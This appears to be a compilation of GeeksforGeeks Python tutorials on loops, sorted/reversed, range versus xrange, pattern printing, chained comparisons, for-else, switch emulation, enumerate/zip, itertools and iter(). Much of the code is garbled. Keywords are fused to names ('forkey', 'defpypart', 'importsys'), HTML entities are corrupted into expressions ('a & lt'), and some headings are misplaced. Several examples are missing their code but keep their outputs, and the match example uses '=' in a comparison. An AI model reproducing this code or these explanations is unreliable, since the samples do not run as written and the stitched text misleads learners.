# using items to print the dictionary key-value pair
forkey, value inking.items():
print(key, value)
Output:
Akbar The Great
Chandragupta The Maurya
Modi The Changer
Using sorted(): sorted() is used to print the container is sorted order. It doesn’t sort the container but just prints the container in sorted order for 1 instance. The use of set() can be combined to remove duplicate occurrences.
Example 1:
Python3
# python code to demonstrate working of sorted()
# initializing list
lis =[1, 3, 5, 6, 2, 1, 3]
# using sorted() to print the list in sorted order
print("The list in sorted order is : ")
fori insorted(lis):
print(i, end=" ")
print("\r")
# using sorted() and set() to print the list in sorted order
# use of set() removes duplicates.
print("The list in sorted order (without duplicates) is : ")
fori insorted(set(lis)):
print(i, end=" ")
Output:
The list in sorted order is :
1 1 2 3 3 5 6
The list in sorted order (without duplicates) is :
1 2 3 5 6
Example 2:
Python3
# python code to demonstrate working of sorted()
# initializing list
basket =['guave', 'orange', 'apple', 'pear',
'guava', 'banana', 'grape']
# using sorted() and set() to print the list
# in sorted order
forfruit insorted(set(basket)):
print(fruit)
Output:
apple
banana
grape
guava
guave
orange
pear
Using reversed(): reversed() is used to print the values ofthe container in the reversed order. It does not reflect any changes to the original list
Example 1:
Python3
# python code to demonstrate working of reversed()
# initializing list
lis =[1, 3, 5, 6, 2, 1, 3]
# using reversed() to print the list in reversed order
print("The list in reversed order is : ")
fori inreversed(lis):
print(i, end=" ")
Output:
The list in reversed order is :
3 1 2 6 5 3 1
Example 2:
Python3
# python code to demonstrate working of reversed()
# using reversed() to print in reverse order
fori inreversed(range(1, 10, 3)):
print(i)
Output:
7
4
1
These techniques are quick to use and reduce coding effort. for, while loops need the entire structure of the container to be changed.
These Looping techniques do not require any structural changes to the container. They have keywords that present the exact purpose of usage. Whereas, no pre-predictions or guesses can be made in for, while loop i.e not easily understand the purpose at a glance.
Looping technique makes the code more concise than using for & while looping.
The range() and xrange() are two functions that could be used to iterate a certain number of times in for loops in Python. In Python 3, there is no xrange, but the range function behaves like xrange in Python 2. If you want to write code that will run on both Python 2 and Python 3, you should use range().
range() – This returns a range object (a type of iterable).
xrange() – This function returns the generator object that can be used to display numbers only by looping. The only particular range is displayed on demand and hence called “lazy evaluation“.
Both are implemented in different ways and have different characteristics associated with them. The points of comparison are:
Return Type
Memory
Operation Usage
Speed
Return Type
range() returns – range object. xrange() returns – xrange() object.
Python
# Python code to demonstrate range() vs xrange()
# on basis of return type
# initializing a with range()
a =range(1,10000)
# initializing a with xrange()
x =xrange(1,10000)
# testing the type of a
print("The return type of range() is : ")
print(type(a))
# testing the type of x
print("The return type of xrange() is : ")
print(type(x))
Output:
The return type of range() is :
<type 'list'>
The return type of xrange() is :
<type 'xrange'>
Memory
The variable storing the range created by range() takes more memory as compared to the variable storing the range using xrange(). The basic reason for this is the return type of range() is list and xrange() is xrange() object.
Python
# Python code to demonstrate range() vs xrange()
# on basis of memory
importsys
# initializing a with range()
a =range(1,10000)
# initializing a with xrange()
x =xrange(1,10000)
# testing the size of a
# range() takes more memory
print("The size allotted using range() is : ")
print(sys.getsizeof(a))
# testing the size of x
# xrange() takes less memory
print("The size allotted using xrange() is : ")
print(sys.getsizeof(x))
Output:
The size allotted using range() is :
80064
The size allotted using xrange() is :
40
Operations Usage
As range() returns the list, all the operations that can be applied on the list can be used on it. On the other hand, as xrange() returns the xrange object, operations associated to list cannot be applied on them, hence a disadvantage.
Python
# Python code to demonstrate range() vs xrange()
# on basis of operations usage
# initializing a with range()
a =range(1,6)
# initializing a with xrange()
x =xrange(1,6)
# testing usage of slice operation on range()
# prints without error
print("The list after slicing using range is : ")
print(a[2:5])
# testing usage of slice operation on xrange()
# raises error
print("The list after slicing using xrange is : ")
print(x[2:5])
Error:
Traceback (most recent call last):
File "1f2d94c59aea6aed795b05a19e44474d.py", line 18, in
print (x[2:5])
TypeError: sequence index must be integer, not 'slice'
Output:
The list after slicing using range is :
[3, 4, 5]
The list after slicing using xrange is :
Speed
Because of the fact that xrange() evaluates only the generator object containing only the values that are required by lazy evaluation, therefore is faster in implementation than range().
Important Points:
If you want to write code that will run on both Python 2 and Python 3, use range() as the xrange function is deprecated in Python 3.
range() is faster if iterating over the same sequence multiple times.
xrange() has to reconstruct the integer object every time, but range() will have real integer objects. (It will always perform worse in terms of memory however)
range()
xrange()
Returns a list of integers.
Returns a generator object.
Execution speed is slower
Execution speed is faster.
Takes more memory as it keeps the entire list of elements in memory.
Takes less memory as it keeps only one element at a time in memory.
All arithmetic operations can be performed as it returns a list.
Such operations cannot be performed on xrange().
In python 3, xrange() is not supported.
In python 2, xrange() is used to iterate in for loops.
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Patterns can be printed in python using simple for loops. First outer loop is used to handle number of rows and Inner nested loop is used to handle the number of columns. Manipulating the print statements, different number patterns, alphabet patterns or star patterns can be printed. Some of the Patterns are shown in this article.
Simple pyramid pattern
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern
defpypart(n):
# outer loop to handle number of rows
# n in this case
fori inrange(0, n):
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# printing stars
print("* ",end="")
# ending line after each row
print("\r")
# Driver Code
n =5
pypart(n)
Output
*
* *
* * *
* * * *
* * * * *
Another Approach: Using List in Python 3, this could be done in a simpler way
Python
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern
defpypart(n):
myList =[]
fori inrange(1,n+1):
myList.append("*"*i)
print("\n".join(myList))
# Driver Code
n =5
pypart(n)
Output
*
**
***
****
*****
After 180 degree rotation
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern
defpypart2(n):
# number of spaces
k =2*n -2
# outer loop to handle number of rows
fori inrange(0, n):
# inner loop to handle number spaces
# values changing acc. to requirement
forj inrange(0, k):
print(end=" ")
# decrementing k after each loop
k =k -2
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# printing stars
print("* ", end="")
# ending line after each row
print("\r")
# Driver Code
n =5
pypart2(n)
Output
*
* *
* * *
* * * *
* * * * *
Printing Triangle
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern triangle
deftriangle(n):
# number of spaces
k =n -1
# outer loop to handle number of rows
fori inrange(0, n):
# inner loop to handle number spaces
# values changing acc. to requirement
forj inrange(0, k):
print(end=" ")
# decrementing k after each loop
k =k -1
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# printing stars
print("* ", end="")
# ending line after each row
print("\r")
# Driver Code
n =5
triangle(n)
Output
*
* *
* * *
* * * *
* * * * *
Number Pattern
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern of numbers
defnumpat(n):
# initialising starting number
num =1
# outer loop to handle number of rows
fori inrange(0, n):
# re assigning num
num =1
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# printing number
print(num, end=" ")
# incrementing number at each column
num =num +1
# ending line after each row
print("\r")
# Driver code
n =5
numpat(n)
Output
1
1 2
1 2 3
1 2 3 4
1 2 3 4 5
Numbers without reassigning
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern of numbers
defcontnum(n):
# initializing starting number
num =1
# outer loop to handle number of rows
fori inrange(0, n):
# not re assigning num
# num = 1
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# printing number
print(num, end=" ")
# incrementing number at each column
num =num +1
# ending line after each row
print("\r")
n =5
# sending 5 as argument
# calling Function
contnum(n)
Output
1
2 3
4 5 6
7 8 9 10
11 12 13 14 15
Character Pattern
Python3
# Python 3.x code to demonstrate star pattern
# Function to demonstrate printing pattern of alphabets
defalphapat(n):
# initializing value corresponding to 'A'
# ASCII value
num =65
# outer loop to handle number of rows
# 5 in this case
fori inrange(0, n):
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# explicitly converting to char
ch =chr(num)
# printing char value
print(ch, end=" ")
# incrementing number
num =num +1
# ending line after each row
print("\r")
# Driver Code
n =5
alphapat(n)
Output
A
B B
C C C
D D D D
E E E E E
Continuous Character pattern
Python3
# Python code 3.x to demonstrate star pattern
# Function to demonstrate printing pattern of alphabets
defcontalpha(n):
# initializing value corresponding to 'A'
# ASCII value
num =65
# outer loop to handle number of rows
-fori inrange(0, n):
# inner loop to handle number of columns
# values changing acc. to outer loop
forj inrange(0, i+1):
# explicitly converting to char
ch =chr(num)
# printing char value
print(ch, end=" ")
# incrementing at each column
num =num +1
# ending line after each row
print("\r")
# Driver code
n =5
contalpha(n)
Output:
A
B C
D E F
G H I J
K L M N O
This article is contributed by Manjeet Singh(S.Nupur). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Checking more than two conditions is very common in Programming Languages. Let’s say we want to check the below condition:
a < b < c
The most common syntax to do it is as follows:
if a < b and b < c :
{...}
In Python, there is a better way to write this using Comparison operator Chaining. The chaining of operators can be written as follows:
if a < b < c :
{.....}
According to associativity and precedence in Python, all comparison operations in Python have the same priority, which is lower than that of any arithmetic, shifting, or bitwise operation. Also unlike C, expressions like a < b < c have the interpretation that is conventional in mathematics. List of comparison operators in Python:
Comparisons can be chained arbitrarily. For example:
x < y <= z is equivalent to x < y and y <= z,
except that y is evaluated only once. (but in both cases z is not evaluated at all when x < y is found to be false).
Formally, if a, b, c, …, y, z are expressions and op1, op2, …, opN are comparison operators, then a op1 b op2 c … y opN z is equivalent to a op1 b and b op2 c and … y opN z, except that each expression is evaluated at most once.
Also,
a op1 b op2 c
It doesn’t imply any kind of comparison between a and c, so
a < b > c
is perfectly legal.
Python
# Python code to illustrate
# chaining comparison operators
x =5
print(1< x < 10)
print(10< x < 20)
print(x < 10< x*10< 100)
print(10> x <=9)
print(5==x > 4)
Output:
True
False
True
True
True
Another Example:
Python
# Python code to Illustrate Chaining Comparison Operators
a, b, c, d, e, f =0, 5, 12, 0, 15, 15
exp1 =a & lt
=b & lt
c & gt
d isnote isf
exp2 =a isd & gt
f isnotc
print(exp1)
print(exp2)
Output:
True
False
Reference: Python 3 Documentation This article is contributed by Pratik Chhajer. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or if you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Using else conditional statement with for loop in python
Using else conditional statement with for loop in python
In most of the programming languages (C/C++, Java, etc), the use of else statement has been restricted with the if conditional statements. But Python also allows us to use the else condition with for loops.
The else block just after for/while is executed only when the loop is NOT terminated by a break statement.
Else block is executed in below Python 3.x program:
Python
fori inrange(1, 4):
print(i)
else: # Executed because no break in for
print("No Break")
Output :
1
2
3
No Break
Else block is NOT executed in Python 3.x or below:
Python
fori inrange(1, 4):
print(i)
break
else: # Not executed as there is a break
print("No Break")
Output :
1
Such type of else is useful only if there is an if condition present inside the loop which somehow depends on the loop variable. In the following example, the else statement will only be executed if no element of the array is even, i.e. if statement has not been executed for any iteration. Therefore for the array [1, 9, 8] the if is executed in the third iteration of the loop and hence the else present after the for loop is ignored. In the case of array [1, 3, 5] the if is not executed for any iteration and hence the else after the loop is executed.
Python
# Python 3.x program to check if an array consists
# of even number
defcontains_even_number(l):
forele inl:
ifele %2==0:
print("list contains an even number")
break
# This else executes only if break is NEVER
# reached and loop terminated after all iterations.
else:
print("list does not contain an even number")
# Driver code
print("For List 1:")
contains_even_number([1, 9, 8])
print(" \nFor List 2:")
contains_even_number([1, 3, 5])
Output:
For List 1:
list contains an even number
For List 2:
list does not contain an even number
As an exercise, predict the output of the following program.
Unlike every other programming language we have used before, Python does not have a switch or case statement. To get around this fact, we use dictionary mapping.
Python3
# Function to convert number into string
# Switcher is dictionary data type here
defnumbers_to_strings(argument):
switcher ={
0: "zero",
1: "one",
2: "two",
}
# get() method of dictionary data type returns
# value of passed argument if it is present
# in dictionary otherwise second argument will
# be assigned as default value of passed argument
returnswitcher.get(argument, "nothing")
# Driver program
if__name__ =="__main__":
argument=0
print(numbers_to_strings(argument))
This code is analogous to the given code in C++ :
CPP
#include<bits/stdc++.h>
usingnamespacestd;
// Function to convert number into string
string numbers_to_strings(intargument){
switch(argument) {
case0:
return"zero";
case1:
return"one";
case2:
return"two";
default:
return"nothing";
};
};
// Driver program
intmain()
{
intargument = 0;
cout << numbers_to_strings(argument);
return0;
}
Output:
Zero
But In Python 3.10 and after that, Python will support it’s:
This it’s my example code:
Python3
defnumber_to_string(agrument):
match agrument:
case 0:
return"zero"
case 1:
return"one"
case 2:
return"two"
case default:
return"something"
if__name__ ="__main__":
agrument =0
number_to_string(agrument)
It’s like all code above it’s
This article is contributed by Shashank Mishra (Gullu). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Prerequisite : Iterators in Python Following are different ways to use iterators. C-style approach:This approach requires prior knowledge of total number of iterations.
Python
# A C-style way of accessing list elements
cars =["Aston", "Audi", "McLaren"]
i =0
while(i < len(cars)):
printcars[i]
i +=1
Output:
Aston
Audi
McLaren
Important Points:
This style of looping is rarely used by python programmers.
This 4-step approach creates no compactness with single-view looping construct.
This is also prone to errors in large-scale programs or designs.
There is no C-Style for loop in Python, i.e., a loop like for (int i=0; i<n; i++)
Use of for-in (or for each) style: This style is used in python containing iterator of lists, dictionary, n dimensional-arrays etc. The iterator fetches each component and prints data while looping. The iterator is automatically incremented/decremented in this construct.
Python
# Accessing items using for-in loop
cars =["Aston", "Audi", "McLaren"]
forx incars:
printx
Output:
Aston
Audi
McLaren
See this for more examples of different data types. Indexing using Range function: We can also use indexing using range() in Python.
Python
# Accessing items using indexes and for-in
cars =["Aston", "Audi", "McLaren"]
fori inrange(len(cars)):
printcars[i]
Output:
Aston
Audi
McLaren
Enumerate: Enumerate is built-in python function that takes input as iterator, list etc and returns a tuple containing index and data at that index in the iterator sequence. For example, enumerate(cars), returns a iterator that will return (0, cars[0]), (1, cars[1]), (2, cars[2]), and so on.
Python
# Accessing items using enumerate()
cars =["Aston", "Audi", "McLaren "]
fori, x inenumerate(cars):
print(x)
Output :
Aston
Audi
McLaren
Below solution also works.
Python
# Accessing items and indexes enumerate()
cars =["Aston", "Audi", "McLaren "]
forx inenumerate(cars):
print(x[0], x[1])
Output :
(0, 'Aston')
(1, 'Audi')
(2, 'McLaren ')
We can also directly print returned value of enumerate() to see what it returns.
Python
# Printing return value of enumerate()
cars =["Aston", "Audi", "McLaren "]
printenumerate(cars)
Output :
[(0, 'Aston'), (1, 'Audi'), (2, 'McLaren ')]
Enumerate takes parameter start which is default set to zero. We can change this parameter to any value we like. In the below code we have used start as 1.
Python
# demonstrating the use of start in enumerate
cars =["Aston", "Audi", "McLaren "]
forx inenumerate(cars, start=1):
print(x[0], x[1])
Output :
(1, 'Aston')
(2, 'Audi')
(3, 'McLaren ')
enumerate() helps to embed solution for accessing each data item in the iterator and fetching index of each data item.
Looping extensions:i) Two iterators for a single looping construct: In this case, a list and dictionary are to be used for each iteration in a single looping block using enumerate function. Let us see example.
Python
# Two separate lists
cars =["Aston", "Audi", "McLaren"]
accessories =["GPS kit", "Car repair-tool kit"]
# Single dictionary holds prices of cars and
# its accessories.
# First three items store prices of cars and
# next two items store prices of accessories.
prices ={1:"570000$", 2:"68000$", 3:"450000$",
4:"8900$", 5:"4500$"}
# Printing prices of cars
forindex, c inenumerate(cars, start=1):
print"Car: %s Price: %s"%(c, prices[index])
# Printing prices of accessories
forindex, a inenumerate(accessories,start=1):
print("Accessory: %s Price: %s"\
%(a,prices[index+len(cars)]))
Output:
Car: Aston Price: 570000$
Car: Audi Price: 68000$
Car: McLaren Price: 450000$
Accessory: GPS kit Price: 8900$
Accessory: Car repair-tool kit Price: 4500$
ii) zip function (Both iterators to be used in single looping construct): This function is helpful to combine similar type iterators(list-list or dict- dict etc,) data items at ith position. It uses the shortest length of these input iterators. Other items of larger length iterators are skipped. In case of empty iterators, it returns No output.
For example, the use of zip for two lists (iterators) helped to combine a single car and its required accessory.
Python
# Python program to demonstrate the working of zip
The reverse of these iterators from zip function is known as unzipping using “*” operator. Use of enumerate function and zip function helps to achieve an effective extension of iteration logic in python and solves many more sub-problems of a huge task or problem.
References: 1. https://docs.python.org/2/library/functions.html#enumerate 2. https://docs.python.org/2/library/functions.html#zip This article is contributed by Krishnasagar Subhedarpage. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python’s Itertool is a module that provides various functions that work on iterators to produce complex iterators. This module works as a fast, memory-efficient tool that is used either by themselves or in combination to form iterator algebra. For example, let’s suppose there are two lists and you want to multiply their elements. There can be several ways of achieving this. One can be using the naive approach i.e by iterating through the elements of both the list simultaneously and multiply them. And another approach can be using the map function i.e by passing the mul operator as a first parameter to the map function and Lists as the second and third parameter to this function. Let’s see the time taken by each approach.
Python3
# Python program to demonstrate
# iterator module
importoperator
importtime
# Defining lists
L1 =[1, 2, 3]
L2 =[2, 3, 4]
# Starting time before map
# function
t1 =time.time()
# Calculating result
a, b, c =map(operator.mul, L1, L2)
# Ending time after map
# function
t2 =time.time()
# Time taken by map function
print("Result:", a, b, c)
print("Time taken by map function: %.6f"%(t2 -t1))
# Starting time before naive
# method
t1 =time.time()
# Calculating result using for loop
print("Result:", end =" ")
fori inrange(3):
print(L1[i] *L2[i], end =" ")
# Ending time after naive
# method
t2 =time.time()
print("\nTime taken by for loop: %.6f"%(t2 -t1))
Output:
Result: 2 6 12
Time taken by map function: 0.000005
Result: 2 6 12
Time taken by for loop: 0.000014
In the above example, it can be seen that the time taken by the map function is approximately half than the time taken by for loop. This shows that itertools are fast, memory-efficient tools.
Different types of iterators provided by this module are:
Iterator in Python is any Python type that can be used with a ‘for in loop’. Python lists, tuples, dictionaries, and sets are all examples of inbuilt iterators. But it is not necessary that an iterator object has to exhaust, sometimes it can be infinite. Such types of iterators are known as Infinite iterators.
Python provides three types of infinite iterators:
count(start, step): This iterator starts printing from the “start” number and prints infinitely. If steps are mentioned, the numbers are skipped else step is 1 by default. See the below example for its use with for in loop. Example:
Python3
# Python program to demonstrate
# infinite iterators
importitertools
# for in loop
fori initertools.count(5, 5):
ifi ==35:
break
else:
print(i, end =" ")
Output:
5 10 15 20 25 30
cycle(iterable): This iterator prints all values in order from the passed container. It restarts printing from the beginning again when all elements are printed in a cyclic manner. Example 1:
Python3
# Python program to demonstrate
# infinite iterators
importitertools
count =0
# for in loop
fori initertools.cycle('AB'):
ifcount > 7:
break
else:
print(i, end =" ")
count +=1
Output:
A B A B A B A B
Example 2: Using the next function.
Python3
# Python program to demonstrate
# infinite iterators
importitertools
l =['Geeks', 'for', 'Geeks']
# defining iterator
iterators =itertools.cycle(l)
# for in loop
fori inrange(6):
# Using next function
print(next(iterators), end =" ")
Combinatoric iterators Output:
Geeks for Geeks Geeks for Geeks
repeat(val, num): This iterator repeatedly prints the passed value an infinite number of times. If the optional keyword num is mentioned, then it repeatedly prints num number of times. Example:
Python3
# Python code to demonstrate the working of
# repeat()
# importing "itertools" for iterator operations
importitertools
# using repeat() to repeatedly print number
print("Printing the numbers repeatedly : ")
print(list(itertools.repeat(25, 4)))
Output:
Printing the numbers repeatedly :
[25, 25, 25, 25]
Combinatoric iterators
The recursive generators that are used to simplify combinatorial constructs such as permutations, combinations, and Cartesian products are called combinatoric iterators. In Python there are 4 combinatoric iterators:
Product(): This tool computes the cartesian product of input iterables. To compute the product of an iterable with itself, we use the optional repeat keyword argument to specify the number of repetitions. The output of this function is tuples in sorted order. Example:
Python3
# import the product function from itertools module
The cartesian product using repeat:
[(1, 1), (1, 2), (2, 1), (2, 2)]
The cartesian product of the containers:
[('geeks', '2'), ('for', '2'), ('geeks', '2')]
The cartesian product of the containers:
[('A', 3), ('A', 4), ('B', 3), ('B', 4)]
Permutations(): Permutations() as the name speaks for itself is used to generate all possible permutations of an iterable. All elements are treated as unique based on their position and not their values. This function takes an iterable and group_size, if the value of group_size is not specified or is equal to None then the value of group_size becomes the length of the iterable. Example:
Python3
# import the product function from itertools module
fromitertools importpermutations
print("All the permutations of the given list is:")
print(list(permutations([1, 'geeks'], 2)))
print()
Terminating iterators
print("All the permutations of the given string is:")
print(list(permutations('AB')))
print()
print("All the permutations of the given container is:")
print(list(permutations(range(3), 2)))
Output:
All the permutations of the given list is:
[(1, 'geeks'), ('geeks', 1)]
All the permutations of the given string is:
[('A', 'B'), ('B', 'A')]
All the permutations of the given container is:
[(0, 1), (0, 2), (1, 0), (1, 2), (2, 0), (2, 1)]
Combinations(): This iterator prints all the possible combinations(without replacement) of the container passed in arguments in the specified group size in sorted order. Example:
Python3
# import combinations from itertools module
fromitertools importcombinations
print("All the combination of list in sorted order(without replacement) is:")
print(list(combinations(['A', 2], 2)))
print()
print("All the combination of string in sorted order(without replacement) is:")
print(list(combinations('AB', 2)))
print()
print("All the combination of list in sorted order(without replacement) is:")
print(list(combinations(range(2), 1)))
Output:
All the combination of list in sorted order(without replacement) is:
[('A', 2)]
All the combination of string in sorted order(without replacement) is:
[('A', 'B')]
All the combination of list in sorted order(without replacement) is:
[(0, ), (1, )]
Combinations_with_replacement(): This function returns a subsequence of length n from the elements of the iterable where n is the argument that the function takes determining the length of the subsequences generated by the function. Individual elements may repeat itself in combinations_with_replacement function. Example:
Python3
# import combinations from itertools module
fromitertools importcombinations_with_replacement
print("All the combination of string in sorted order(with replacement) is:")
All the combination of string in sorted order(with replacement) is:
[('A', 'A'), ('A', 'B'), ('B', 'B')]
All the combination of list in sorted order(with replacement) is:
[(1, 1), (1, 2), (2, 2)]
All the combination of container in sorted order(with replacement) is:
[(0, ), (1, )]Terminating iterators
Terminating iterators
Terminating iterators are used to work on the short input sequences and produce the output based on the functionality of the method used.
Different types of terminating iterators are:
accumulate(iter, func): This iterator takes two arguments, iterable target and the function which would be followed at each iteration of value in target. If no function is passed, addition takes place by default. If the input iterable is empty, the output iterable will also be empty. Example:
Python3
# Python code to demonstrate the working of
# accumulate()
importitertools
importoperator
# initializing list 1
li1 =[1, 4, 5, 7]
# using accumulate()
# prints the successive summation of elements
print("The sum after each iteration is : ", end ="")
print(list(itertools.accumulate(li1)))
# using accumulate()
# prints the successive multiplication of elements
print("The product after each iteration is : ", end ="")
The sum after each iteration is : [1, 5, 10, 17]
The product after each iteration is : [1, 4, 20, 140]
The sum after each iteration is : [1, 5, 10, 17]
The product after each iteration is : [1, 4, 20, 140]
chain(iter1, iter2..): This function is used to print all the values in iterable targets one after another mentioned in its arguments. Example:
Python3
# Python code to demonstrate the working of
# and chain()
importitertools
# initializing list 1
li1 =[1, 4, 5, 7]
# initializing list 2
li2 =[1, 6, 5, 9]
# initializing list 3
li3 =[8, 10, 5, 4]
# using chain() to print all elements of lists
print("All values in mentioned chain are : ", end ="")
print(list(itertools.chain(li1, li2, li3)))
Output:
All values in mentioned chain are : [1, 4, 5, 7, 1, 6, 5, 9, 8, 10, 5, 4]
chain.from_iterable(): This function is implemented similarly as a chain() but the argument here is a list of lists or any other iterable container. Example:
Python3
# Python code to demonstrate the working of
# chain.from_iterable()
importitertools
# initializing list 1
li1 =[1, 4, 5, 7]
# initializing list 2
li2 =[1, 6, 5, 9]
# initializing list 3
li3 =[8, 10, 5, 4]
# initializing list of list
li4 =[li1, li2, li3]
# using chain.from_iterable() to print all elements of lists
print("All values in mentioned chain are : ", end ="")
print(list(itertools.chain.from_iterable(li4)))
Output:
All values in mentioned chain are : [1, 4, 5, 7, 1, 6, 5, 9, 8, 10, 5, 4]
compress(iter, selector): This iterator selectively picks the values to print from the passed container according to the boolean list value passed as other arguments. The arguments corresponding to boolean true are printed else all are skipped. Example:
Python3
# Python code to demonstrate the working of
# and compress()
importitertools
# using compress() selectively print data values
print("The compressed values in string are : ", end ="")
The compressed values in string are : ['G', 'F', 'G']
dropwhile(func, seq): This iterator starts printing the characters only after the func. in argument returns false for the first time. Example:
Python3
# Python code to demonstrate the working of
# dropwhile()
importitertools
# initializing list
li =[2, 4, 5, 7, 8]
# using dropwhile() to start displaying after condition is false
print("The values after condition returns false : ", end ="")
print(list(itertools.dropwhile(lambdax : x %2==0, li)))
Output:
The values after condition returns false : [5, 7, 8]
filterfalse(func, seq): As the name suggests, this iterator prints only values that return false for the passed function. Example:
Python3
# Python code to demonstrate the working of
# filterfalse()
importitertools
# initializing list
li =[2, 4, 5, 7, 8]
# using filterfalse() to print false values
print("The values that return false to function are : ", end ="")
print(list(itertools.filterfalse(lambdax : x %2==0, li)))
Output:
The values that return false to function are : [5, 7]
islice(iterable, start, stop, step): This iterator selectively prints the values mentioned in its iterable container passed as argument. This iterator takes 4 arguments, iterable container, starting pos., ending position and step. Example:
Python3
# Python code to demonstrate the working of
# islice()
importitertools
# initializing list
li =[2, 4, 5, 7, 8, 10, 20]
# using islice() to slice the list acc. to need
# starts printing from 2nd index till 6th skipping 2
print("The sliced list values are : ", end ="")
print(list(itertools.islice(li, 1, 6, 2)))
Output:
The sliced list values are : [4, 7, 10]
starmap(func., tuple list): This iterator takes a function and tuple list as argument and returns the value according to the function from each tuple of the list. Example:
zip_longest( iterable1, iterable2, fillval): This iterator prints the values of iterables alternatively in sequence. If one of the iterables is printed fully, the remaining values are filled by the values assigned to fillvalue. Example:
At many instances, we get a need to access an object like an iterator. One way is to form a generator loop but that extends the task and time taken by the programmer. Python eases this task by providing a built-in method __iter__() for this task. The __iter__() function returns an iterator for the given object (array, set, tuple, etc. or custom objects). It creates an object that can be accessed one element at a time using __next__() function, which generally comes in handy when dealing with loops.
Syntax :
iter(object)
iter(callable, sentinel)
Object: The object whose iterator has to be created. It can be a collection object like list or tuple or a user-defined object (using OOPS).
Callable,Sentinel: Callable represents a callable object, and sentinel is the value at which the iteration is needed to be terminated, sentinel value represents the end of sequence being iterated.
Exception :
If we call the iterator after all the elements have
been iterated, then StopIterationError is raised.
The __iter__() function returns an iterator object that goes through each element of the given object. The next element can be accessed through __next__() function. In the case of callable object and sentinel value, the iteration is done until the value is found or the end of elements reached. In any case, the original object is not modified.
Code #1 :
Python3
# Python code demonstrating
# basic use of iter()
listA =['a','e','i','o','u']
iter_listA =iter(listA)
try:
print( next(iter_listA))
print( next(iter_listA))
print( next(iter_listA))
print( next(iter_listA))
print( next(iter_listA))
print( next(iter_listA)) #StopIteration error
except:
pass
Output :
a
e
i
o
u
Code #2 :
Python3
# Python code demonstrating
# basic use of iter()
lst =[11, 22, 33, 44, 55]
iter_lst =iter(lst)
whileTrue:
try:
print(iter_lst.__next__())
except:
break
Output :
11
22
33
44
55
Code #3 :
Python3
# Python code demonstrating
# basic use of iter()
listB =['Cat', 'Bat', 'Sat', 'Mat']
iter_listB =listB.__iter__()
try:
print(iter_listB.__next__())
print(iter_listB.__next__())
print(iter_listB.__next__())
print(iter_listB.__next__())
print(iter_listB.__next__()) #StopIteration error
except:
print(" \nThrowing 'StopIterationError'",
"I cannot count more.")
Output :
Cat
Bat
Sat
Mat
Throwing 'StopIterationError' I cannot count more.
Code #4 : User-defined objects (using OOPS)
Python3
# Python code showing use of iter() using OOPs
classCounter:
def__init__(self, start, end):
self.num =start
self.end =end
def__iter__(self):
returnself
def__next__(self):
ifself.num > self.end:
raiseStopIteration
else:
self.num +=1
returnself.num -1
# Driver code
if__name__ =='__main__':
a, b =2, 5
c1 =Counter(a, b)
c2 =Counter(a, b)
# Way 1-to print the range without iter()
print("Print the range without iter()")
fori inc1:
print("Eating more Pizzas, counting ", i, end ="\n")
print("\nPrint the range using iter()\n")
# Way 2- using iter()
obj =iter(c2)
try:
whileTrue: # Print till error raised
print("Eating more Pizzas, counting ", next(obj))
except:
# when StopIteration raised, Print custom message
print("\nDead on overfood, GAME OVER")
Output
Print the range without iter()
Eating more Pizzas, counting 2
Eating more Pizzas, counting 3
Eating more Pizzas, counting 4
Eating more Pizzas, counting 5
Print the range using iter()
Eating more Pizzas, counting 2
Eating more Pizzas, counting 3
Eating more Pizzas, counting 4
Eating more Pizzas, counting 5
Dead on overfood, GAME OVER
Iterable is an object, that one can iterate over. It generates an Iterator when passed to iter() method. An iterator is an object, which is used to iterate over an iterable object using the __next__() method. Iterators have the __next__() method, which returns the next item of the object. Note that every iterator is also an iterable, but not every iterable is an iterator. For example, a list is iterable but a list is not an iterator. An iterator can be created from an iterable by using the function iter(). To make this possible, the class of an object needs either a method __iter__, which returns an iterator, or a __getitem__ method with sequential indexes starting with 0.
Code #1
Python3
# code
next("GFG")
Output :
Traceback (most recent call last):
File "/home/1c9622166e9c268c0d67cd9ba2177142.py", line 2, in <module>
next("GFG")
TypeError: 'str' object is not an iterator
We know that str is iterable but it is not an iterator. where if we run this in for loop to print string then it is possible because when for loop executes it converts into an iterator to execute the code.
Python3
# code
s="GFG"
s=iter(s)
next(s)
Here iter( ) is converting s which is a string (iterable) into an iterator and prints G for the first time we can call multiple times to iterate over strings.
When a for loop is executed, for statement calls iter() on the object, which it is supposed to loop over. If this call is successful, the iter call will return an iterator object that defines the method __next__(), which accesses elements of the object one at a time. The __next__() method will raise a StopIteration exception if there are no further elements available. The for loop will terminate as soon as it catches a StopIteration exception. Let’s call the __next__() method using the next() built-in function.
